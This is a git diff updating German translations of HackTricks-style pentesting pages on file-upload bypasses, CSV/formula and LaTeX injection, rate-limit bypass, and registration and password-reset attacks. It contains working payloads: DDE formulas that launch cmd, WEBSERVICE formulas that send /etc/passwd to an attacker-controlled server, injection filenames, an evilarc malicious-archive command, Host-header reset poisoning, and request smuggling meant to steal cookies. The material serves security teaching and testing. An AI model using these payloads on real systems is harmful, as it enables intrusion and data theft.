könnten, um diese Überprüfung zu umgehen, darin besteht, den **HTTP-Server auf eine andere Datei umzuleiten**, sodass die ursprüngliche URL die Überprüfung umgeht und wget die umgeleitete Datei mit dem neuen Namen herunterlädt. Dies **funktioniert nicht** **es sei denn**, wget wird mit dem **Parameter** `--trust-server-names` verwendet, da **wget die umgeleitete Seite mit dem Namen der Datei herunterlädt, der in der ursprünglichen URL angegeben ist**. ## Tools -- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) ist ein leistungsstarkes Tool, das Pentestern und Bug-Huntern hilft, Datei-Upload-Mechanismen zu testen. Es nutzt verschiedene Bug-Bounty-Techniken, um den Prozess der Identifizierung und Ausnutzung von Schwachstellen zu vereinfachen und gründliche Bewertungen von Webanwendungen sicherzustellen. +- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) ist ein leistungsstarkes Tool, das Pentestern und Bug-Jägern hilft, Datei-Upload-Mechanismen zu testen. Es nutzt verschiedene Bug-Bounty-Techniken, um den Prozess der Identifizierung und Ausnutzung von Schwachstellen zu vereinfachen und gründliche Bewertungen von Webanwendungen sicherzustellen. ## Vom Datei-Upload zu anderen Schwachstellen - Setzen Sie **filename** auf `../../../tmp/lol.png` und versuchen Sie, eine **Pfad Traversierung** zu erreichen. - Setzen Sie **filename** auf `sleep(10)-- -.jpg` und Sie könnten in der Lage sein, eine **SQL-Injection** zu erreichen. -- Setzen Sie **filename** auf ``, um eine XSS zu erreichen. +- Setzen Sie **filename** auf ``, um ein XSS zu erreichen. - Setzen Sie **filename** auf `; sleep 10;`, um einige Befehlsinjektionen zu testen (mehr [Befehlsinjektions-Tricks hier](../command-injection.md)). - [**XSS** beim Hochladen von Bild (svg) Dateien](../xss-cross-site-scripting/index.html#xss-uploading-files-svg). - **JS** Datei **Upload** + **XSS** = [**Service Workers** Ausnutzung](../xss-cross-site-scripting/index.html#xss-abusing-service-workers). - [**XXE in svg Upload**](../xxe-xee-xml-external-entity.md#svg-file-upload). - [**Open Redirect** durch Hochladen einer svg-Datei](../open-redirect.md#open-redirect-uploading-svg-files). -- Versuchen Sie **verschiedene svg-Payloads** von [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*. +- Versuchen Sie **verschiedene svg Payloads** von [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet). - [Berühmte **ImageTrick** Schwachstelle](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/). - Wenn Sie **den Webserver anweisen können, ein Bild von einer URL abzurufen**, könnten Sie versuchen, eine [SSRF](../ssrf-server-side-request-forgery/index.html) auszunutzen. Wenn dieses **Bild** auf einer **öffentlichen** Seite **gespeichert** wird, könnten Sie auch eine URL von [https://iplogger.org/invisible/](https://iplogger.org/invisible/) angeben und **Informationen von jedem Besucher stehlen**. - [**XXE und CORS** Umgehung mit PDF-Adobe Upload](pdf-upload-xxe-and-cors-bypass.md). @@ -185,11 +185,11 @@ Hier ist eine Top-10-Liste von Dingen, die Sie durch Hochladen erreichen können 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE 2. **SVG**: Stored XSS / SSRF / XXE 3. **GIF**: Stored XSS / SSRF -4. **CSV**: CSV-Injektion +4. **CSV**: CSV-Injection 5. **XML**: XXE 6. **AVI**: LFI / SSRF -7. **HTML / JS** : HTML-Injektion / XSS / Offene Umleitung -8. **PNG / JPEG**: Pixel Flood Angriff (DoS) +7. **HTML / JS** : HTML-Injection / XSS / Open Redirect +8. **PNG / JPEG**: Pixel Flood Attack (DoS) 9. **ZIP**: RCE über LFI / DoS 10. **PDF / PPTX**: SSRF / BLIND XXE @@ -204,7 +204,7 @@ https://github.com/portswigger/upload-scanner - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["` - **JPG**: `"\xff\xd8\xff"` -Verweisen Sie auf [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) für andere Dateitypen. +Siehe [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) für andere Dateitypen. ## Zip/Tar-Datei automatisch dekomprimiert hochladen @@ -212,7 +212,7 @@ Wenn Sie eine ZIP-Datei hochladen können, die auf dem Server dekomprimiert wird ### Symlink -Laden Sie einen Link hoch, der symbolische Links zu anderen Dateien enthält. Dann, beim Zugriff auf die dekomprimierten Dateien, haben Sie Zugriff auf die verlinkten Dateien: +Laden Sie einen Link hoch, der symbolische Links zu anderen Dateien enthält. Wenn Sie dann auf die dekomprimierten Dateien zugreifen, haben Sie Zugriff auf die verlinkten Dateien: ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt @@ -220,7 +220,7 @@ tar -cvf test.tar symindex.txt ``` ### Decompress in different folders -Die unerwartete Erstellung von Dateien in Verzeichnissen während der Dekompression ist ein erhebliches Problem. Trotz anfänglicher Annahmen, dass dieses Setup möglicherweise vor der Ausführung von OS-Befehlen durch bösartige Datei-Uploads schützt, können die hierarchische Unterstützung für Kompression und die Verzeichnisdurchquerungsfähigkeiten des ZIP-Archivformats ausgenutzt werden. Dies ermöglicht Angreifern, Einschränkungen zu umgehen und sichere Upload-Verzeichnisse zu verlassen, indem sie die Dekompressionsfunktionalität der angegriffenen Anwendung manipulieren. +Die unerwartete Erstellung von Dateien in Verzeichnissen während der Dekompression ist ein erhebliches Problem. Trotz anfänglicher Annahmen, dass dieses Setup möglicherweise vor der Ausführung von OS-Befehlen durch bösartige Datei-Uploads schützen könnte, können die hierarchische Unterstützung für Kompression und die Verzeichnisdurchquerungsfähigkeiten des ZIP-Archivformats ausgenutzt werden. Dies ermöglicht Angreifern, Einschränkungen zu umgehen und sichere Upload-Verzeichnisse zu verlassen, indem sie die Dekompressionsfunktionalität der angegriffenen Anwendung manipulieren. Ein automatisierter Exploit zum Erstellen solcher Dateien ist verfügbar unter [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Das Dienstprogramm kann wie folgt verwendet werden: ```python @@ -229,7 +229,7 @@ python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` -Zusätzlich ist der **Symlink-Trick mit evilarc** eine Option. Wenn das Ziel darin besteht, eine Datei wie `/flag.txt` anzuvisieren, sollte ein Symlink zu dieser Datei in Ihrem System erstellt werden. Dies stellt sicher, dass evilarc während seiner Ausführung keine Fehler auftritt. +Zusätzlich ist der **Symlink-Trick mit evilarc** eine Option. Wenn das Ziel darin besteht, eine Datei wie `/flag.txt` anzuvisieren, sollte ein Symlink zu dieser Datei in Ihrem System erstellt werden. Dies stellt sicher, dass evilarc während seines Betriebs keine Fehler auftritt. Unten ist ein Beispiel für Python-Code, der verwendet wird, um eine bösartige Zip-Datei zu erstellen: ```python @@ -251,7 +251,7 @@ create_zip() ``` **Missbrauch von Kompression für File Spraying** -Für weitere Details **überprüfen Sie den Originalbeitrag in**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) +Für weitere Details **prüfen Sie den Originalbeitrag in**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) 1. **Erstellen einer PHP-Shell**: PHP-Code wird geschrieben, um Befehle auszuführen, die über die `$_REQUEST`-Variable übergeben werden. @@ -289,9 +289,9 @@ pop graphic-context ``` ## Einbetten einer PHP-Shell in PNG -Das Einbetten einer PHP-Shell im IDAT-Chunk einer PNG-Datei kann bestimmte Bildverarbeitungsoperationen effektiv umgehen. Die Funktionen `imagecopyresized` und `imagecopyresampled` aus PHP-GD sind in diesem Zusammenhang besonders relevant, da sie häufig zum Verkleinern und Resampeln von Bildern verwendet werden. Die Fähigkeit der eingebetteten PHP-Shell, von diesen Operationen unberührt zu bleiben, ist ein erheblicher Vorteil für bestimmte Anwendungsfälle. +Das Einbetten einer PHP-Shell im IDAT-Chunk einer PNG-Datei kann bestimmte Bildverarbeitungsoperationen effektiv umgehen. Die Funktionen `imagecopyresized` und `imagecopyresampled` aus PHP-GD sind in diesem Zusammenhang besonders relevant, da sie häufig zum Verkleinern und Resampling von Bildern verwendet werden. Die Fähigkeit der eingebetteten PHP-Shell, von diesen Operationen unberührt zu bleiben, ist ein erheblicher Vorteil für bestimmte Anwendungsfälle. -Eine detaillierte Erkundung dieser Technik, einschließlich ihrer Methodik und potenziellen Anwendungen, wird im folgenden Artikel bereitgestellt: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Diese Ressource bietet ein umfassendes Verständnis des Prozesses und seiner Implikationen. +Eine detaillierte Erkundung dieser Technik, einschließlich ihrer Methodik und potenzieller Anwendungen, wird im folgenden Artikel bereitgestellt: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Diese Ressource bietet ein umfassendes Verständnis des Prozesses und seiner Implikationen. Weitere Informationen unter: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) @@ -299,7 +299,7 @@ Weitere Informationen unter: [https://www.idontplaydarts.com/2012/06/encoding-we Polyglot-Dateien dienen als einzigartiges Werkzeug in der Cybersicherheit und fungieren als Chamäleons, die gleichzeitig in mehreren Dateiformaten gültig existieren können. Ein faszinierendes Beispiel ist ein [GIFAR](https://en.wikipedia.org/wiki/Gifar), ein Hybrid, der sowohl als GIF als auch als RAR-Archiv funktioniert. Solche Dateien sind nicht auf diese Kombination beschränkt; auch Kombinationen wie GIF und JS oder PPT und JS sind möglich. -Der Hauptnutzen von Polyglot-Dateien liegt in ihrer Fähigkeit, Sicherheitsmaßnahmen zu umgehen, die Dateien basierend auf dem Typ überprüfen. Übliche Praktiken in verschiedenen Anwendungen erlauben nur bestimmte Dateitypen zum Hochladen—wie JPEG, GIF oder DOC—um das Risiko potenziell schädlicher Formate (z. B. JS, PHP oder Phar-Dateien) zu mindern. Ein Polyglot kann jedoch, indem es den strukturellen Kriterien mehrerer Dateitypen entspricht, diese Einschränkungen heimlich umgehen. +Der Hauptnutzen von Polyglot-Dateien liegt in ihrer Fähigkeit, Sicherheitsmaßnahmen zu umgehen, die Dateien basierend auf dem Typ filtern. Übliche Praktiken in verschiedenen Anwendungen erlauben nur bestimmte Dateitypen zum Hochladen—wie JPEG, GIF oder DOC—um das Risiko potenziell schädlicher Formate (z. B. JS, PHP oder Phar-Dateien) zu mindern. Ein Polyglot kann jedoch, indem es den strukturellen Kriterien mehrerer Dateitypen entspricht, diese Einschränkungen heimlich umgehen. Trotz ihrer Anpassungsfähigkeit stoßen Polyglots auf Einschränkungen. Zum Beispiel könnte der Erfolg des Hochladens eines Polyglots, das gleichzeitig eine PHAR-Datei (PHp ARchive) und ein JPEG verkörpert, von den Richtlinien der Plattform bezüglich der Dateiendungen abhängen. Wenn das System strenge Vorgaben für zulässige Erweiterungen hat, könnte die bloße strukturelle Dualität eines Polyglots nicht ausreichen, um das Hochladen zu garantieren. diff --git a/src/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md b/src/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md index 5ffd0695f..e0d4d721a 100644 --- a/src/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md +++ b/src/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md @@ -1,12 +1,12 @@ -# Formel/CSV/Dok/LaTeX/GhostScript-Injection +# Formula/CSV/Doc/LaTeX/GhostScript Injection {{#include ../banners/hacktricks-training.md}} -## Formel-Injection +## Formula Injection ### Info -Wenn Ihre **Eingabe** in **CSV-Dateien** (oder in einer anderen Datei, die wahrscheinlich von **Excel** geöffnet wird) **reflektiert** wird, können Sie möglicherweise **Formeln** in Excel einfügen, die **ausgeführt** werden, wenn der Benutzer **die Datei öffnet** oder wenn der Benutzer **auf einen Link** innerhalb des Excel-Blatts **klickt**. +Wenn Ihre **Eingabe** in **CSV-Dateien** (oder in einer anderen Datei, die wahrscheinlich von **Excel** geöffnet wird) **reflektiert** wird, können Sie möglicherweise Excel **Formeln** einfügen, die **ausgeführt** werden, wenn der Benutzer **die Datei öffnet** oder wenn der Benutzer **auf einen Link** innerhalb des Excel-Blatts **klickt**. > [!CAUTION] > Heutzutage **warnt Excel** (mehrmals) den **Benutzer, wenn etwas von außerhalb von Excel geladen wird**, um ihn vor böswilligen Aktionen zu schützen. Daher muss ein besonderer Aufwand für Social Engineering auf die endgültige Payload angewendet werden. @@ -26,20 +26,20 @@ DDE ("cmd";"/C calc";"!A0")A0 Das folgende Beispiel wurde von [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) entnommen. -Stellen Sie sich vor, ein Sicherheitsvorfall in einem System zur Verwaltung von Schülerdaten wird durch einen CSV-Injection-Angriff ausgenutzt. Die Hauptabsicht des Angreifers ist es, das System zu kompromittieren, das von Lehrern zur Verwaltung von Schülerdetails verwendet wird. Die Methode besteht darin, dass der Angreifer eine bösartige Nutzlast in die Anwendung injiziert, indem er schädliche Formeln in Felder eingibt, die für Schülerdetails vorgesehen sind. Der Angriff entfaltet sich wie folgt: +Stellen Sie sich vor, ein Sicherheitsvorfall in einem System zur Verwaltung von Schülerdaten wird durch einen CSV-Injection-Angriff ausgenutzt. Die Hauptabsicht des Angreifers ist es, das System zu kompromittieren, das von Lehrern zur Verwaltung von Schülerdetails verwendet wird. Die Methode besteht darin, dass der Angreifer eine schädliche Nutzlast in die Anwendung injiziert, indem er schädliche Formeln in Felder eingibt, die für Schülerdetails vorgesehen sind. Der Angriff verläuft wie folgt: -1. **Injektion der bösartigen Nutzlast:** -- Der Angreifer reicht ein Formular für Schülerdetails ein, fügt jedoch eine Formel ein, die häufig in Tabellenkalkulationen verwendet wird (z. B. `=HYPERLINK("","Klicken Sie hier")`). +1. **Injektion der schädlichen Nutzlast:** +- Der Angreifer reicht ein Formular für Schülerdetails ein, enthält jedoch eine Formel, die häufig in Tabellenkalkulationen verwendet wird (z. B. `=HYPERLINK("","Click here")`). - Diese Formel soll einen Hyperlink erstellen, verweist jedoch auf einen bösartigen Server, der vom Angreifer kontrolliert wird. 2. **Exportieren der kompromittierten Daten:** - Lehrer, die sich der Kompromittierung nicht bewusst sind, nutzen die Funktionalität der Anwendung, um die Daten in eine CSV-Datei zu exportieren. -- Die CSV-Datei enthält beim Öffnen weiterhin die bösartige Nutzlast. Diese Nutzlast erscheint als klickbarer Hyperlink in der Tabelle. +- Die CSV-Datei enthält beim Öffnen weiterhin die schädliche Nutzlast. Diese Nutzlast erscheint als klickbarer Hyperlink in der Tabelle. 3. **Auslösen des Angriffs:** -- Ein Lehrer klickt auf den Hyperlink und glaubt, dass er ein legitimer Teil der Schülerdetails ist. +- Ein Lehrer klickt auf den Hyperlink, in der Annahme, es sei ein legitimer Teil der Schülerdetails. - Beim Klicken werden sensible Daten (möglicherweise einschließlich Details aus der Tabelle oder dem Computer des Lehrers) an den Server des Angreifers übertragen. 4. **Protokollierung der Daten:** - Der Server des Angreifers empfängt und protokolliert die sensiblen Daten, die vom Computer des Lehrers gesendet wurden. -- Der Angreifer kann diese Daten dann für verschiedene bösartige Zwecke verwenden und die Privatsphäre und Sicherheit der Schüler und der Institution weiter gefährden. +- Der Angreifer kann diese Daten dann für verschiedene bösartige Zwecke nutzen und die Privatsphäre und Sicherheit der Schüler und der Institution weiter gefährden. ### RCE @@ -49,7 +49,7 @@ In bestimmten Konfigurationen oder älteren Versionen von Excel kann eine Funkti - Navigieren Sie zu Datei → Optionen → Trust Center → Trust Center-Einstellungen → Externer Inhalt und aktivieren Sie **Dynamic Data Exchange Server Launch**. -Wenn eine Tabelle mit der bösartigen Nutzlast geöffnet wird (und wenn der Benutzer die Warnungen akzeptiert), wird die Nutzlast ausgeführt. Um beispielsweise die Taschenrechneranwendung zu starten, wäre die Nutzlast: +Wenn eine Tabelle mit der schädlichen Nutzlast geöffnet wird (und der Benutzer die Warnungen akzeptiert), wird die Nutzlast ausgeführt. Um beispielsweise die Taschenrechneranwendung zu starten, wäre die Nutzlast: ```markdown =cmd|' /C calc'!xxx ``` @@ -64,7 +64,7 @@ LibreOffice Calc kann verwendet werden, um lokale Dateien zu lesen und Daten zu - Lesen der ersten Zeile aus der lokalen `/etc/passwd`-Datei: `='file:///etc/passwd'#$passwd.A1` - Exfiltrieren der gelesenen Daten zu einem vom Angreifer kontrollierten Server: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))` - Exfiltrieren von mehr als einer Zeile: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))` -- DNS-Exfiltration (Versenden gelesener Daten als DNS-Abfragen an einen vom Angreifer kontrollierten DNS-Server): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))` +- DNS-Exfiltration (Versenden der gelesenen Daten als DNS-Abfragen an einen vom Angreifer kontrollierten DNS-Server): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))` ### Google Sheets für Out-of-Band (OOB) Datenexfiltration @@ -80,10 +80,10 @@ Google Sheets bietet Funktionen, die für OOB-Datenexfiltration ausgenutzt werde ## LaTeX Injection Normalerweise verwenden die Server, die im Internet **LaTeX-Code in PDF** umwandeln, **`pdflatex`**.\ -Dieses Programm verwendet 3 Hauptattribute, um die Ausführung von Befehlen (nicht) zuzulassen: +Dieses Programm verwendet 3 Hauptattribute, um die Ausführung von Befehlen zu (ver)hindern: - **`--no-shell-escape`**: **Deaktiviert** die `\write18{command}`-Konstruktion, selbst wenn sie in der texmf.cnf-Datei aktiviert ist. -- **`--shell-restricted`**: Dasselbe wie `--shell-escape`, aber **beschränkt** auf eine 'sichere' Menge von **vordefinierten** \*\*Befehlen (\*\*Unter Ubuntu 16.04 befindet sich die Liste in `/usr/share/texmf/web2c/texmf.cnf`). +- **`--shell-restricted`**: Dasselbe wie `--shell-escape`, aber **beschränkt** auf eine 'sichere' Menge von **vordefinierten** **Befehlen** (**Auf Ubuntu 16.04 befindet sich die Liste in `/usr/share/texmf/web2c/texmf.cnf`). - **`--shell-escape`**: **Aktiviert** die `\write18{command}`-Konstruktion. Der Befehl kann jeder Shell-Befehl sein. Diese Konstruktion ist normalerweise aus Sicherheitsgründen nicht erlaubt. Es gibt jedoch andere Möglichkeiten, Befehle auszuführen, daher ist es sehr wichtig, `--shell-restricted` zu verwenden, um RCE zu vermeiden. diff --git a/src/pentesting-web/rate-limit-bypass.md b/src/pentesting-web/rate-limit-bypass.md index 9c7ef9402..381e955e6 100644 --- a/src/pentesting-web/rate-limit-bypass.md +++ b/src/pentesting-web/rate-limit-bypass.md @@ -38,11 +38,11 @@ Einige API-Gateways sind so konfiguriert, dass sie die Ratenbegrenzung basierend ### Anmeldung in Ihrem Konto vor jedem Versuch -Die Anmeldung in einem Konto vor jedem Versuch oder jeder Versuchsreihe könnte den Zähler für die Ratenbegrenzung zurücksetzen. Dies ist besonders nützlich, wenn Login-Funktionen getestet werden. Die Nutzung eines Pitchfork-Angriffs in Tools wie Burp Suite, um die Anmeldeinformationen alle paar Versuche zu rotieren und sicherzustellen, dass Weiterleitungen markiert sind, kann die Zähler für die Ratenbegrenzung effektiv zurücksetzen. +Die Anmeldung in einem Konto vor jedem Versuch oder jeder Versuchsreihe könnte den Zähler für die Ratenbegrenzung zurücksetzen. Dies ist besonders nützlich, wenn Login-Funktionalitäten getestet werden. Die Nutzung eines Pitchfork-Angriffs in Tools wie Burp Suite, um die Anmeldeinformationen alle paar Versuche zu rotieren und sicherzustellen, dass Weiterleitungen markiert sind, kann die Zähler für die Ratenbegrenzung effektiv zurücksetzen. ### Nutzung von Proxy-Netzwerken -Der Einsatz eines Netzwerks von Proxys, um die Anfragen über mehrere IP-Adressen zu verteilen, kann IP-basierte Ratenbegrenzungen effektiv umgehen. Durch das Routen des Verkehrs über verschiedene Proxys scheint jede Anfrage von einer anderen Quelle zu stammen, wodurch die Effektivität der Ratenbegrenzung verringert wird. +Der Einsatz eines Netzwerks von Proxys zur Verteilung der Anfragen über mehrere IP-Adressen kann IP-basierte Ratenbegrenzungen effektiv umgehen. Durch das Routen des Verkehrs über verschiedene Proxys scheint jede Anfrage von einer anderen Quelle zu stammen, wodurch die Effektivität der Ratenbegrenzung verringert wird. ### Aufteilen des Angriffs über verschiedene Konten oder Sitzungen @@ -50,6 +50,10 @@ Wenn das Zielsystem Ratenbegrenzungen auf Basis von Konto oder Sitzung anwendet, ### Weiter versuchen -Beachten Sie, dass Sie, selbst wenn eine Ratenbegrenzung besteht, versuchen sollten zu sehen, ob die Antwort unterschiedlich ist, wenn die gültige OTP gesendet wird. In [**diesem Beitrag**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732) entdeckte der Bug-Jäger, dass selbst wenn eine Ratenbegrenzung nach 20 erfolglosen Versuchen mit 401 ausgelöst wird, eine 200-Antwort empfangen wurde, wenn die gültige gesendet wurde. +Beachten Sie, dass Sie auch dann versuchen sollten, zu sehen, ob die Antwort unterschiedlich ist, wenn die gültige OTP gesendet wird, selbst wenn eine Ratenbegrenzung besteht. In [**diesem Beitrag**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732) entdeckte der Bug-Jäger, dass selbst wenn eine Ratenbegrenzung nach 20 erfolglosen Versuchen mit 401 ausgelöst wird, eine 200-Antwort empfangen wurde, wenn die gültige gesendet wurde. + +### Werkzeuge + +- [**https://github.com/Hashtag-AMIN/hashtag-fuzz**](https://github.com/Hashtag-AMIN/hashtag-fuzz): hashtag-fuzz ist ein Fuzzing-Tool, das entwickelt wurde, um WAFs und CDNs zu testen und zu umgehen. Durch die Nutzung fortschrittlicher Funktionen wie zufälligem User-Agent und Header-Werten, zufälligen Verzögerungen, der Handhabung von Multi-Threading, selektivem Chunking von Wortlisten und Round Robin-Proxy-Rotation für jedes Chunk bietet es eine robuste Lösung für Sicherheitsfachleute, die darauf abzielen, Schwachstellen in Webanwendungen zu identifizieren. {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/registration-vulnerabilities.md b/src/pentesting-web/registration-vulnerabilities.md index 9ca053306..ca28efd7c 100644 --- a/src/pentesting-web/registration-vulnerabilities.md +++ b/src/pentesting-web/registration-vulnerabilities.md @@ -6,13 +6,13 @@ ### Doppelte Registrierung -- Versuchen Sie, einen bestehenden Benutzernamen zu verwenden -- Überprüfen Sie verschiedene E-Mail-Varianten: +- Versuchen Sie, einen bestehenden Benutzernamen zu generieren +- Überprüfen Sie verschiedene E-Mails: - Großbuchstaben - \+1@ - fügen Sie einen Punkt in der E-Mail hinzu - Sonderzeichen im E-Mail-Namen (%00, %09, %20) -- Fügen Sie schwarze Zeichen nach der E-Mail hinzu: `test@test.com a` +- Setzen Sie schwarze Zeichen nach der E-Mail: `test@test.com a` - victim@gmail.com@attacker.com - victim@attacker.com@gmail.com @@ -22,14 +22,14 @@ ### Passwort-Richtlinie -Erstellen Sie einen Benutzer und überprüfen Sie die Passwort-Richtlinie (überprüfen Sie, ob Sie schwache Passwörter verwenden können).\ +Beim Erstellen eines Benutzers überprüfen Sie die Passwort-Richtlinie (überprüfen Sie, ob Sie schwache Passwörter verwenden können).\ In diesem Fall können Sie versuchen, Anmeldeinformationen zu bruteforcen. ### SQL-Injection [**Überprüfen Sie diese Seite** ](sql-injection/index.html#insert-statement), um zu lernen, wie man Kontoübernahmen versucht oder Informationen über **SQL-Injections** in Registrierungsformularen extrahiert. -### Oauth-Übernahmen +### Oauth Übernahmen {{#ref}} oauth-to-account-takeover.md @@ -43,7 +43,7 @@ saml-attacks/ ### E-Mail ändern -Versuchen Sie nach der Registrierung, die E-Mail zu ändern, und überprüfen Sie, ob diese Änderung korrekt validiert wird oder ob Sie sie auf beliebige E-Mails ändern können. +Wenn registriert, versuchen Sie, die E-Mail zu ändern und überprüfen Sie, ob diese Änderung korrekt validiert wird oder ob Sie sie auf beliebige E-Mails ändern können. ### Weitere Überprüfungen @@ -56,12 +56,12 @@ Versuchen Sie nach der Registrierung, die E-Mail zu ändern, und überprüfen Si ### Passwortzurücksetzung Token-Leck über Referrer -1. Fordern Sie eine Passwortzurücksetzung an Ihre E-Mail-Adresse an +1. Fordern Sie die Passwortzurücksetzung an Ihre E-Mail-Adresse an 2. Klicken Sie auf den Link zur Passwortzurücksetzung 3. Ändern Sie das Passwort nicht 4. Klicken Sie auf beliebige 3rd-Party-Websites (z.B.: Facebook, Twitter) -5. Fangen Sie die Anfrage im Burp Suite Proxy ab -6. Überprüfen Sie, ob der Referer-Header das Passwortzurücksetzungstoken leakt. +5. Abfangen Sie die Anfrage im Burp Suite Proxy +6. Überprüfen Sie, ob der Referer-Header das Passwortzurücksetzungstoken leckt. ### Passwortzurücksetzung Vergiftung @@ -69,10 +69,10 @@ Versuchen Sie nach der Registrierung, die E-Mail zu ändern, und überprüfen Si 2. Fügen Sie die folgenden Header in Burp Suite hinzu oder bearbeiten Sie sie: `Host: attacker.com`, `X-Forwarded-Host: attacker.com` 3. Leiten Sie die Anfrage mit dem modifizierten Header weiter\ `http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com` -4. Suchen Sie nach einer Passwortzurücksetzungs-URL basierend auf dem _Host-Header_ wie: `https://attacker.com/reset-password.php?token=TOKEN` +4. Suchen Sie nach einer URL zur Passwortzurücksetzung basierend auf dem _Host-Header_ wie: `https://attacker.com/reset-password.php?token=TOKEN` ### Passwortzurücksetzung über E-Mail-Parameter -```powershell +```bash # parameter pollution email=victim@mail.com&email=hacker@mail.com @@ -88,14 +88,14 @@ email=victim@mail.com,hacker@mail.com email=victim@mail.com%20hacker@mail.com email=victim@mail.com|hacker@mail.com ``` -### IDOR bei API-Parametern +### IDOR on API Parameters 1. Angreifer müssen sich mit ihrem Konto anmelden und zur Funktion **Passwort ändern** gehen. 2. Starten Sie Burp Suite und intercepten Sie die Anfrage. 3. Senden Sie sie an den Repeater-Tab und bearbeiten Sie die Parameter: Benutzer-ID/E-Mail\ `powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})` -### Schwaches Passwort-Reset-Token +### Weak Password Reset Token Das Passwort-Reset-Token sollte zufällig generiert und jedes Mal einzigartig sein.\ Versuchen Sie zu bestimmen, ob das Token abläuft oder ob es immer dasselbe ist. In einigen Fällen ist der Generierungsalgorithmus schwach und kann erraten werden. Die folgenden Variablen könnten vom Algorithmus verwendet werden. @@ -111,13 +111,13 @@ Versuchen Sie zu bestimmen, ob das Token abläuft oder ob es immer dasselbe ist. - Token-Wiederverwendung - Ablaufdatum des Tokens -### Leckendes Passwort-Reset-Token +### Leaking Password Reset Token 1. Lösen Sie eine Passwort-Reset-Anfrage über die API/UI für eine bestimmte E-Mail aus, z.B.: test@mail.com 2. Überprüfen Sie die Serverantwort und suchen Sie nach `resetToken` 3. Verwenden Sie dann das Token in einer URL wie `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]` -### Passwort-Reset über Benutzernamen-Kollision +### Password Reset Via Username Collision 1. Registrieren Sie sich im System mit einem Benutzernamen, der identisch mit dem Benutzernamen des Opfers ist, jedoch mit Leerzeichen vor und/oder nach dem Benutzernamen. z.B.: `"admin "` 2. Fordern Sie einen Passwort-Reset mit Ihrem böswilligen Benutzernamen an. @@ -127,18 +127,18 @@ Versuchen Sie zu bestimmen, ob das Token abläuft oder ob es immer dasselbe ist. Die Plattform CTFd war anfällig für diesen Angriff.\ Siehe: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245) -### Kontoübernahme über Cross Site Scripting +### Account Takeover Via Cross Site Scripting 1. Finden Sie ein XSS innerhalb der Anwendung oder einer Subdomain, wenn die Cookies auf die übergeordnete Domain beschränkt sind: `*.domain.com` -2. Lecken Sie das aktuelle **Sitzungscookie** +2. Leaken Sie das aktuelle **Sessions-Cookie** 3. Authentifizieren Sie sich als der Benutzer mit dem Cookie -### Kontoübernahme über HTTP Request Smuggling +### Account Takeover Via HTTP Request Smuggling -1\. Verwenden Sie **smuggler**, um die Art des HTTP Request Smuggling (CL, TE, CL.TE) zu erkennen\ +1\. Verwenden Sie **smuggler**, um den Typ des HTTP Request Smuggling (CL, TE, CL.TE) zu erkennen\ `powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\ 2\. Erstellen Sie eine Anfrage, die `POST / HTTP/1.1` mit den folgenden Daten überschreibt:\ -`GET http://something.burpcollaborator.net HTTP/1.1 X:` mit dem Ziel, die Opfer zu burpcollab umzuleiten und ihre Cookies zu stehlen\ +`GET http://something.burpcollaborator.net HTTP/1.1 X:` mit dem Ziel, die Opfer zu burpcollab weiterzuleiten und ihre Cookies zu stehlen\ 3\. Die endgültige Anfrage könnte wie folgt aussehen ``` GET / HTTP/1.1 @@ -151,7 +151,7 @@ Content-Length: 83 GET http://something.burpcollaborator.net HTTP/1.1 X: X ``` -Hackerone-Berichte über die Ausnutzung dieses Fehlers\ +Hackerone-Berichte, die diesen Fehler ausnutzen\ \* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\ \* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666) diff --git 